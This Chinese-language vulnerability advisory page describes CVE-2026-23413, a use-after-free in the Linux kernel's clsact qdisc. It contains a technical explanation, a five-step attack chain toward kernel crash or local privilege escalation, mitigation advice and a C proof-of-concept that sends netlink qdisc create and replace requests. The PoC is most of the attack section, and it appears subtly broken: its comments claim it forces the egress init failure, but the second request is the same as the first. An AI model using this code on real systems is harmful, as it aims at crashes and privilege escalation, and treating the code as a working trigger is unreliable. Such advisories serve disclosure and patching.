IPBUF安全漏洞报告
English
CVE-2026-23413 CVSS 7.8 高危

CVE-2026-23413 Linux内核clsact释放后使用漏洞

披露日期: 2026-04-02
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23413
漏洞类型
释放后使用
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelUAF网络安全本地提权

漏洞概述

Linux内核clsact qdisc模块中存在释放后使用漏洞。由于初始化与销毁回滚逻辑的不对称性,在替换clsact实例并导致初始化失败时,销毁函数可能错误访问已释放的内存。本地攻击者可利用此漏洞导致系统崩溃或提升权限。

技术细节

该漏洞发生于Linux内核网络子系统的clsact qdisc处理代码中。clsact_init函数在初始化过程中,首先处理ingress块,随后处理egress块。如果在egress块初始化期间(具体是在执行tcf_block_get_ext函数时)发生失败,内核会触发clsact_destroy回调以进行资源清理和回滚。核心问题在于clsact_destroy依赖检查{ingress,egress}_entry指针是否为NULL来判断是否执行清理逻辑。然而,在clsact实例替换操作的中途失败场景下,尽管新的egress块未成功初始化,但旧的clsact实例可能留下了非NULL的entry指针。这导致clsact_destroy误认为egress部分已初始化,进而对未完全初始化的miniq结构进行操作,导致释放后使用(UAF)。本地低权限攻击者可利用此漏洞造成内核崩溃或潜在的权限提升。

攻击链分析

STEP 1
1. 获取权限
攻击者获取本地低权限用户账户。
STEP 2
2. 构造环境
使用tc命令或Netlink接口创建并配置clsact qdisc。
STEP 3
3. 触发漏洞
发送特定的qdisc替换请求,使内核在初始化egress块时失败。
STEP 4
4. 执行UAF
内核执行clsact_destroy回滚,因逻辑缺陷访问已释放内存。
STEP 5
5. 达成目的
导致内核崩溃(DoS)或通过堆喷射等技术实现本地提权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * Conceptual PoC for CVE-2026-23413 * Triggering clsact use-after-free via rollback asymmetry * This requires a system with a vulnerable Linux kernel. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/pkt_sched.h> #define NLMSG_TAIL(nmsg) ((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len))) void addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data, int alen) { int len = RTA_LENGTH(alen); struct rtattr *rta; if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) return; rta = NLMSG_TAIL(n); rta->rta_type = type; rta->rta_len = len; memcpy(RTA_DATA(rta), data, alen); n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); } int main() { int fd; struct sockaddr_nl sa; char buf[4096]; struct nlmsghdr *nh; struct tcmsg *t; fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (fd < 0) { perror("socket"); return -1; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; bind(fd, (struct sockaddr *)&sa, sizeof(sa)); // Step 1: Create an initial clsact qdisc memset(buf, 0, sizeof(buf)); nh = (struct nlmsghdr *)buf; nh->nlmsg_type = RTM_NEWQDISC; nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); t = (struct tcmsg *)NLMSG_DATA(nh); t->tcm_family = AF_UNSPEC; t->tcm_ifindex = if_nametoindex("lo"); // Target loopback t->tcm_parent = TC_H_CLSACT; t->tcm_handle = TC_H_MAKE(TC_H_CLSACT, 0); addattr_l(nh, sizeof(buf), TCA_KIND, "clsact", sizeof("clsact")); send(fd, buf, nh->nlmsg_len, 0); // Step 2: Attempt to replace with a config that triggers init failure // The goal is to make tcf_block_get_ext fail during egress init // while ingress is already partially set up, causing rollback. memset(buf, 0, sizeof(buf)); nh = (struct nlmsghdr *)buf; nh->nlmsg_type = RTM_NEWQDISC; nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_REPLACE | NLM_F_ACK; nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); t = (struct tcmsg *)NLMSG_DATA(nh); t->tcm_family = AF_UNSPEC; t->tcm_ifindex = if_nametoindex("lo"); t->tcm_parent = TC_H_CLSACT; t->tcm_handle = TC_H_MAKE(TC_H_CLSACT, 0); addattr_l(nh, sizeof(buf), TCA_KIND, "clsact", sizeof("clsact")); // Sending the replace request. Kernel might panic or trigger UAF here. send(fd, buf, nh->nlmsg_len, 0); close(fd); return 0; }

影响范围

Linux Kernel (具体受影响版本需参考Git修复提交)

防御指南

临时缓解措施
建议立即应用官方发布的内核安全补丁。在升级前,可通过配置系统权限(如Capabilities或SELinux),严格限制普通用户对NETLINK_ROUTE接口或tc命令的使用,从而降低被利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表